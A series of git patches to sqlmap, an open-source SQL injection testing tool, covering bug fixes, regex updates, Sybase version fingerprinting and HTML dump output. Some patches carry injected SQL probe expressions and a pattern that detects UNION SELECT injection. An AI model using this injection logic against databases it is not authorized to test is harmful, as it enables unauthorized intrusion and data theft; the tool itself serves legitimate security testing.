344d3f4b5f636461c60521498d5a389f5265a750 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 12 Oct 2013 21:05:18 +0200 Subject: [PATCH 098/889] Minor patch --- lib/request/connect.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 05247af7a..672ebf190 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -754,7 +754,7 @@ class Connect(object): variables = {} originals = {} - for item in filter(None, (get, post)): + for item in filter(None, (get, post if not kb.postHint else None)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) From d7906e8f184d54ed0fdc8c9b10935dea6207ac78 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 15 Oct 2013 09:49:27 +0200 Subject: [PATCH 099/889] Minor fix --- lib/utils/sqlalchemy.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 832dda5dc..64457109a 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -69,14 +69,14 @@ class SQLAlchemy(GenericConnector): retVal.append(tuple(row)) return retVal except _sqlalchemy.exc.ProgrammingError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg.message if hasattr(msg, "message") else msg) return None def execute(self, query): try: self.cursor = self.connector.execute(query) except (_sqlalchemy.exc.OperationalError, _sqlalchemy.exc.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg.message if hasattr(msg, "message") else msg) except _sqlalchemy.exc.InternalError, msg: raise SqlmapConnectionException(msg[1]) From 8cd641a2a60bc2f0e1ee58034c601a1b12064193 Mon Sep 17 00:00:00 2001 From: Moshe Kaplan Date: Tue, 15 Oct 2013 13:26:24 -0400 Subject: [PATCH 100/889] minor typos corrected "choosen" -> "chosen" --- lib/controller/controller.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 3cea4d0d6..7cd6abb04 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -551,12 +551,12 @@ def start(): elif conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--string' as perhaps the string you " - errMsg += "have choosen does not match " + errMsg += "have chosen does not match " errMsg += "exclusively True responses" elif conf.regexp: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--regexp' as perhaps the regular " - errMsg += "expression that you have choosen " + errMsg += "expression that you have chosen " errMsg += "does not match exclusively True responses" raise SqlmapNotVulnerableException(errMsg) From ebccba922b46fca38ca29e3541ade733f3008808 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 16 Oct 2013 11:25:26 +0200 Subject: [PATCH 101/889] Fix for an Issue #543 --- plugins/generic/users.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index ca3b0594f..37b6be961 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -389,6 +389,9 @@ class Users: else: privilege = value[count] + if privilege is None: + continue + # In PostgreSQL we get 1 if the privilege is # True, 0 otherwise if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit(): @@ -506,8 +509,12 @@ class Users: query = rootQuery.blind.query % (index, user) else: query = rootQuery.blind.query % (user, index) + privilege = unArrayizeValue(inject.getValue(query, union=False, error=False)) + if privilege is None: + continue + # In PostgreSQL we get 1 if the privilege is True, # 0 otherwise if Backend.isDbms(DBMS.PGSQL) and ", " in privilege: From 04dbee3bec5555241f3e1a4754b396365f9da6b7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 16 Oct 2013 11:39:04 +0200 Subject: [PATCH 102/889] Update for a more generic JSON recognition regex --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 5120c74ca..8f5adba84 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -527,7 +527,7 @@ INVALID_UNICODE_CHAR_FORMAT = r"\?%02x" SOAP_RECOGNITION_REGEX = r"(?s)\A(<\?xml[^>]+>)?\s*<([^> ]+)( [^>]+)?>.+\s*\Z" # Regular expression used for detecting JSON-like POST data -JSON_RECOGNITION_REGEX = r'(?s)\A\s*\{.*"[^"]+"\s*:\s*("[^"]+"|\d+).*\}\s*\Z' +JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]+"|\d+).*\}\s*(\]\s*)*\s*\Z' # Regular expression used for detecting multipart POST data MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name=" From 5b8d631dc0d30bd2c775dc4f651088dfd14e7b56 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 16 Oct 2013 11:48:00 +0200 Subject: [PATCH 103/889] Minor update --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8f5adba84..d6ce3ed75 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -527,7 +527,7 @@ INVALID_UNICODE_CHAR_FORMAT = r"\?%02x" SOAP_RECOGNITION_REGEX = r"(?s)\A(<\?xml[^>]+>)?\s*<([^> ]+)( [^>]+)?>.+\s*\Z" # Regular expression used for detecting JSON-like POST data -JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]+"|\d+).*\}\s*(\]\s*)*\s*\Z' +JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]+"|\d+).*\}\s*(\]\s*)*\Z' # Regular expression used for detecting multipart POST data MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name=" From 7cb7c6361fa9d0a49b9e3860d4f38e1e7faba755 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 17 Oct 2013 16:04:55 +0200 Subject: [PATCH 104/889] Minor fix (Sybase Adaptive Server Anywhere doesn't have support for tempdb_id()) --- plugins/dbms/sybase/fingerprint.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index f63be2da2..3f1ab4580 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -74,7 +74,7 @@ class Fingerprint(GenericFingerprint): if conf.direct: result = True else: - result = inject.checkBooleanExpression("tempdb_id()=tempdb_id()") + result = inject.checkBooleanExpression("@@transtate=@@transtate") if result: infoMsg = "confirming %s" % DBMS.SYBASE From 304c9822bd36b32c749bb8cd2b0b7492af178ad5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 17 Oct 2013 16:38:07 +0200 Subject: [PATCH 105/889] Patch for an Issue #545 --- lib/core/agent.py | 6 ++++-- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 0a4a52791..db0b5663f 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -961,14 +961,16 @@ class Agent(object): Extracts payload from inside of the input string """ - return extractRegexResult("(?s)%s(?P.*?)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), inpStr) + _ = re.escape(PAYLOAD_DELIMITER) + return extractRegexResult("(?s)%s(?P.*?)%s" % (_, _), inpStr) def replacePayload(self, inpStr, payload): """ Replaces payload inside the input string with a given payload """ - return re.sub("(%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), ("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER)).replace("\\", r"\\"), inpStr) if inpStr else inpStr + _ = re.escape(PAYLOAD_DELIMITER) + return re.sub("(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER)).replace("\\", r"\\"), inpStr) if inpStr else inpStr def runAsDBMSUser(self, query): if conf.dbmsCred and "Ad Hoc Distributed Queries" not in query: diff --git a/lib/core/settings.py b/lib/core/settings.py index d6ce3ed75..c13cbd212 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -43,7 +43,7 @@ URI_QUESTION_MARKER = "__QUESTION_MARK__" ASTERISK_MARKER = "__ASTERISK_MARK__" REPLACEMENT_MARKER = "__REPLACEMENT_MARK__" -PAYLOAD_DELIMITER = "\x00" +PAYLOAD_DELIMITER = "\x00\x00\x00" CHAR_INFERENCE_MARK = "%c" PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]" From 334c698d539a0959c7f45d4e27dda171c666907d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 17 Oct 2013 16:54:53 +0200 Subject: [PATCH 106/889] Adding change verbosity level in testing phase when Ctrl+C pressed --- lib/controller/checks.py | 14 +++++++++++++- lib/core/option.py | 2 ++ 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 3fb0f5873..39aad6299 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -570,11 +570,20 @@ def checkSqlInjection(place, parameter, value): warnMsg = "user aborted during detection phase" logger.warn(warnMsg) - msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(q)uit]" + msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]" choice = readInput(msg, default="S", checkBatch=False) if choice[0] in ("s", "S"): pass + elif choice[0] in ("c", "C"): + choice = None + while not ((choice or "").isdigit() and 0 <= int(choice) <= 6): + if choice: + logger.warn("invalid value") + msg = "enter new verbosity level: [0-6] " + choice = readInput(msg, default=str(conf.verbose), checkBatch=False).strip() + conf.verbose = int(choice) + setVerbosity() elif choice[0] in ("n", "N"): return None elif choice[0] in ("e", "E"): @@ -1239,3 +1248,6 @@ def checkConnection(suppressOutput=False): raise return True + +def setVerbosity(): # Cross-linked function + raise NotImplementedError diff --git a/lib/core/option.py b/lib/core/option.py index c9cc3e516..a076e244f 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -19,6 +19,7 @@ import time import urllib2 import urlparse +import lib.controller.checks import lib.core.common import lib.core.threads import lib.core.convert @@ -2167,6 +2168,7 @@ def _resolveCrossReferences(): lib.core.common.getPageTemplate = getPageTemplate lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage lib.request.connect.setHTTPProxy = _setHTTPProxy + lib.controller.checks.setVerbosity = setVerbosity def initOptions(inputOptions=AttribDict(), overrideOptions=False): if not inputOptions.disableColoring: From 6ff2b931ff06903471494371a496cc69c457f8e2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 17 Oct 2013 23:42:51 +0200 Subject: [PATCH 107/889] Another patch for an Issue #545 --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c13cbd212..e10a188b4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -43,7 +43,7 @@ URI_QUESTION_MARKER = "__QUESTION_MARK__" ASTERISK_MARKER = "__ASTERISK_MARK__" REPLACEMENT_MARKER = "__REPLACEMENT_MARK__" -PAYLOAD_DELIMITER = "\x00\x00\x00" +PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__" CHAR_INFERENCE_MARK = "%c" PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]" From 378ce46061a07e4cb0e2dc26767655f1cdebf235 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Fri, 18 Oct 2013 12:23:50 +0100 Subject: [PATCH 108/889] NVARCHAR is not supported on Sybase Adaptive Server --- xml/queries.xml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/xml/queries.xml b/xml/queries.xml index a91d405b2..dbd0175e6 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -508,7 +508,7 @@ - + @@ -559,7 +559,7 @@ - + From 7104e00c9542f1899ad131b974514698b281f9a5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 18 Oct 2013 14:46:57 +0200 Subject: [PATCH 109/889] Minor update --- plugins/dbms/sybase/fingerprint.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index 3f1ab4580..566dc9741 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -99,7 +99,7 @@ class Fingerprint(GenericFingerprint): logger.info(infoMsg) for version in xrange(12, 16): - result = inject.checkBooleanExpression("@@VERSION_NUMBER/1000=%d" % version) + result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) if result: Backend.setVersion(str(version)) From 5aaf18f55617190205ad70b0d0580fd4dd8b846f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 18 Oct 2013 15:26:55 +0200 Subject: [PATCH 110/889] Minor update --- plugins/dbms/sybase/fingerprint.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index 566dc9741..1c83c3490 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -98,7 +98,7 @@ class Fingerprint(GenericFingerprint): infoMsg = "actively fingerprinting %s" % DBMS.SYBASE logger.info(infoMsg) - for version in xrange(12, 16): + for version in xrange(6, 17): result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) if result: From 777d999e71ee2bc23ed7e22129de649626f24c60 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 18 Oct 2013 15:39:46 +0200 Subject: [PATCH 111/889] Minor update --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e10a188b4..e7f02bd48 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -380,7 +380,7 @@ DUMMY_SQL_INJECTION_CHARS = ";()'" DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b" # Extensions skipped by crawler -CRAWL_EXCLUDE_EXTENSIONS = ("gif", "jpg", "jpeg", "image", "jar", "tif", "bmp", "war", "ear", "mpg", "mpeg", "wmv", "mpeg", "scm", "iso", "dmp", "dll", "cab", "so", "avi", "mkv", "bin", "exe", "iso", "tar", "png", "pdf", "ps", "wav", "mp3", "mp4", "au", "aiff", "aac", "zip", "rar", "7z", "gz", "flv", "mov") +CRAWL_EXCLUDE_EXTENSIONS = ("gif", "jpg", "jpeg", "image", "jar", "tif", "bmp", "war", "ear", "mpg", "mpeg", "wmv", "mpeg", "scm", "iso", "dmp", "dll", "cab", "so", "avi", "mkv", "bin", "iso", "tar", "png", "pdf", "ps", "wav", "mp3", "mp4", "au", "aiff", "aac", "zip", "rar", "7z", "gz", "flv", "mov") # Patterns often seen in HTTP headers containing custom injection marking character PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(\bq=[^;']+)|(\*/\*)" From 2ee4b81a6e3d1b457f1447a7d26247440d0546a7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 18 Oct 2013 15:59:25 +0200 Subject: [PATCH 112/889] Minor fix --- plugins/dbms/sybase/fingerprint.py | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index 1c83c3490..8286d6aa8 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -98,12 +99,17 @@ class Fingerprint(GenericFingerprint): infoMsg = "actively fingerprinting %s" % DBMS.SYBASE logger.info(infoMsg) - for version in xrange(6, 17): - result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) + result = unArrayizeValue(inject.getValue("SUBSTRING(@@VERSION,1,1)")) - if result: - Backend.setVersion(str(version)) - break + if result and result.isdigit(): + Backend.setVersion(str(result)) + else: + for version in xrange(12, 16): + result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) + + if result: + Backend.setVersion(str(version)) + break return True else: From e197720defa142c60ac2d720123e032edd1fcae0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 19 Oct 2013 20:54:52 +0200 Subject: [PATCH 113/889] Fix for an Issue #546 --- lib/core/dump.py | 42 +++++++++++++++--------------------------- lib/core/settings.py | 3 +++ 2 files changed, 18 insertions(+), 27 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index 199237749..6705fff0f 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -5,12 +5,11 @@ Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import cgi import codecs import os import threading -from xml.dom.minidom import getDOMImplementation - from lib.core.common import Backend from lib.core.common import dataToDumpFile from lib.core.common import dataToStdout @@ -442,8 +441,11 @@ class Dump(object): rtable = replication.createTable(table, cols) elif conf.dumpFormat == DUMP_FORMAT.HTML: - documentNode = getDOMImplementation().createDocument(None, "table", None) - tableNode = documentNode.documentElement + dataToDumpFile(dumpFP, "\n\n\n") + dataToDumpFile(dumpFP, "\n" % UNICODE_ENCODING) + dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) + dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) + dataToDumpFile(dumpFP, "\n\n\n\n\n\n") if count == 1: self._write("[1 entry]") @@ -452,14 +454,6 @@ class Dump(object): self._write(separator) - if conf.dumpFormat == DUMP_FORMAT.HTML: - headNode = documentNode.createElement("thead") - rowNode = documentNode.createElement("tr") - tableNode.appendChild(headNode) - headNode.appendChild(rowNode) - bodyNode = documentNode.createElement("tbody") - tableNode.appendChild(bodyNode) - for column in columns: if column != "__infos__": info = tableValues[column] @@ -477,12 +471,13 @@ class Dump(object): else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: - entryNode = documentNode.createElement("td") - rowNode.appendChild(entryNode) - entryNode.appendChild(documentNode.createTextNode(column)) + dataToDumpFile(dumpFP, "" % cgi.escape(column).encode("ascii", "xmlcharrefreplace")) field += 1 + if conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "\n\n\n\n") + self._write("|\n%s" % separator) if conf.dumpFormat == DUMP_FORMAT.CSV: @@ -503,8 +498,7 @@ class Dump(object): values = [] if conf.dumpFormat == DUMP_FORMAT.HTML: - rowNode = documentNode.createElement("tr") - bodyNode.appendChild(rowNode) + dataToDumpFile(dumpFP, "") for column in columns: if column != "__infos__": @@ -547,9 +541,7 @@ class Dump(object): else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: - entryNode = documentNode.createElement("td") - rowNode.appendChild(entryNode) - entryNode.appendChild(documentNode.createTextNode(value)) + dataToDumpFile(dumpFP, "" % cgi.escape(value).encode("ascii", "xmlcharrefreplace")) field += 1 @@ -560,6 +552,8 @@ class Dump(object): pass elif conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") + elif conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "\n") self._write("|", console=console) @@ -571,13 +565,7 @@ class Dump(object): elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "\n\n\n") - dataToDumpFile(dumpFP, "\n" % UNICODE_ENCODING) - dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) - dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) - dataToDumpFile(dumpFP, "\n\n") - dataToDumpFile(dumpFP, tableNode.toxml()) - dataToDumpFile(dumpFP, "\n") + dataToDumpFile(dumpFP, "\n
%s
%s
\n\n") else: dataToDumpFile(dumpFP, "\n") dumpFP.close() diff --git a/lib/core/settings.py b/lib/core/settings.py index e7f02bd48..e72a2ab7c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -591,4 +591,7 @@ tr:nth-child(even) { td{ font-size:10px; } +th{ + font-size:10px; +} """ From 8dac47f7e5d0b940c77ef77ef43713d24309ea91 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 21 Oct 2013 20:04:48 +0200 Subject: [PATCH 114/889] Minor patch (for recognition of x-mac-turkish codec) --- lib/request/basic.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index 529e46289..53e38e69b 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -137,8 +137,8 @@ def checkCharEncoding(encoding, warn=True): encoding = encoding.replace("5589", "8859") # iso-5589 -> iso-8859 elif "2313" in encoding: encoding = encoding.replace("2313", "2312") # gb2313 -> gb2312 - elif "x-euc" in encoding: - encoding = encoding.replace("x-euc", "euc") # x-euc-kr -> euc-kr + elif encoding.startswith("x-"): + encoding = encoding[len("x-"):] # x-euc-kr -> euc-kr / x-mac-turkish -> mac-turkish elif "windows-cp" in encoding: encoding = encoding.replace("windows-cp", "windows") # windows-cp-1254 -> windows-1254 From 9f21406a4b8c589bcbda9103aaf8a350a69ac2ad Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 21 Oct 2013 20:48:00 +0200 Subject: [PATCH 115/889] Using cPickle in BigArray (faster and potentially less memory used) --- lib/core/bigarray.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 85f64ddb8..37db36a93 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -5,8 +5,12 @@ Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +try: + import cPickle as pickle +except: + import pickle + import os -import pickle import tempfile from lib.core.settings import BIGARRAY_CHUNK_LENGTH @@ -62,7 +66,7 @@ class BigArray(list): self.filenames.add(filename) os.close(handle) with open(filename, "w+b") as fp: - pickle.dump(value, fp) + pickle.dump(value, fp, pickle.HIGHEST_PROTOCOL) return filename def _checkcache(self, index): From 28529a92a7b3d0e98c45b6f17b68ed447a457983 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 23 Oct 2013 10:49:50 +0200 Subject: [PATCH 116/889] Minor fix (for parameters with \ in value) --- lib/core/agent.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index db0b5663f..d6690fe56 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -142,7 +142,7 @@ class Agent(object): elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) else: - retVal = re.sub(r"(\A|\b)%s=%s" % (re.escape(parameter), re.escape(origValue)), "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString) + retVal = re.sub(r"(\A|\b)%s=%s" % (re.escape(parameter), re.escape(origValue)), "%s=%s" % (re.escape(parameter), re.escape(self.addPayloadDelimiters(newValue))), paramString) return retVal From fabbe63f009fdca7ea32159957d71caf10a1b023 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 23 Oct 2013 18:07:38 +0200 Subject: [PATCH 117/889] Proper fix for re.sub() call with repl value containing backslash --- lib/core/agent.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index d6690fe56..b73d3d65f 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -142,7 +142,7 @@ class Agent(object): elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) else: - retVal = re.sub(r"(\A|\b)%s=%s" % (re.escape(parameter), re.escape(origValue)), "%s=%s" % (re.escape(parameter), re.escape(self.addPayloadDelimiters(newValue))), paramString) + retVal = re.sub(r"(\A|\b)%s=%s" % (re.escape(parameter), re.escape(origValue)), "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) return retVal From 7ed05f01b33503890c611e828020f7ed65dd510a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 27 Oct 2013 00:24:57 +0200 Subject: [PATCH 118/889] Minor update --- lib/controller/checks.py | 2 +- lib/core/common.py | 15 +++++++-------- 2 files changed, 8 insertions(+), 9 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 39aad6299..122e02f80 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -175,7 +175,7 @@ def checkSqlInjection(place, parameter, value): # Skip tests if title is not included by the given filter if conf.testFilter: - if not any(re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, dbms)): + if not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, dbms)): debugMsg = "skipping test '%s' because " % title debugMsg += "its name/vector/dbms is not included by the given filter" logger.debug(debugMsg) diff --git a/lib/core/common.py b/lib/core/common.py index d25b839b5..1594679fe 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1072,11 +1072,11 @@ def parseTargetDirect(): details = re.search("^(?P%s)://(?P(?P.+?)\:(?P.*)\@)?(?P(?P.+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I) if details: - conf.dbms = details.group('dbms') + conf.dbms = details.group("dbms") if details.group('credentials'): - conf.dbmsUser = details.group('user') - conf.dbmsPass = details.group('pass') + conf.dbmsUser = details.group("user") + conf.dbmsPass = details.group("pass") else: if conf.dbmsCred: conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':') @@ -1087,16 +1087,15 @@ def parseTargetDirect(): if not conf.dbmsPass: conf.dbmsPass = None - if details.group('remote'): + if details.group("remote"): remote = True - conf.hostname = details.group('hostname').strip() - conf.port = int(details.group('port')) + conf.hostname = details.group("hostname").strip() + conf.port = int(details.group("port")) else: conf.hostname = "localhost" conf.port = 0 - conf.dbmsDb = details.group('db') - + conf.dbmsDb = details.group("db") conf.parameters[None] = "direct connection" break From 48bd2e75e94f1dea2cba7c57a5d66c721cfea7ab Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 28 Oct 2013 13:59:38 +0100 Subject: [PATCH 119/889] Minor patch --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 1594679fe..901dcf2a7 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1797,7 +1797,7 @@ def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, un checkFile(filename) - with codecs.open(filename, 'r', UNICODE_ENCODING) if unicode_ else open(filename, 'r') as f: + with codecs.open(filename, 'r', UNICODE_ENCODING, errors="ignore") if unicode_ else open(filename, 'r') as f: for line in (f.readlines() if unicode_ else f.xreadlines()): # xreadlines doesn't return unicode strings when codec.open() is used if commentPrefix: if line.find(commentPrefix) != -1: From ae4cd2ebed955272ac6b3b8ad8203cce5aeb1894 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 7 Nov 2013 08:29:32 +0100 Subject: [PATCH 120/889] Minor update --- txt/keywords.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/txt/keywords.txt b/txt/keywords.txt index 432746afd..cd6877ef8 100644 --- a/txt/keywords.txt +++ b/txt/keywords.txt @@ -182,7 +182,6 @@ PRIMARY PRIOR PRIVILEGES PROCEDURE -PUBLIC READ REAL REFERENCES From 0a4512e9aec487f5421f913e7c9162d0befe9015 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 8 Nov 2013 09:23:38 +0100 Subject: [PATCH 121/889] Implementation for an Issue #557 --- lib/core/option.py | 9 +++++++-- lib/core/settings.py | 3 +++ 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index a076e244f..1555d693c 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -94,6 +94,7 @@ from lib.core.optiondict import optDict from lib.core.purge import purge from lib.core.settings import ACCESS_ALIASES from lib.core.settings import BURP_REQUEST_REGEX +from lib.core.settings import BURP_XML_HISTORY_REGEX from lib.core.settings import CODECS_LIST_PAGE from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR @@ -232,7 +233,10 @@ def _feedTargetsDict(reqFile, addedTargetUrls): """ if not 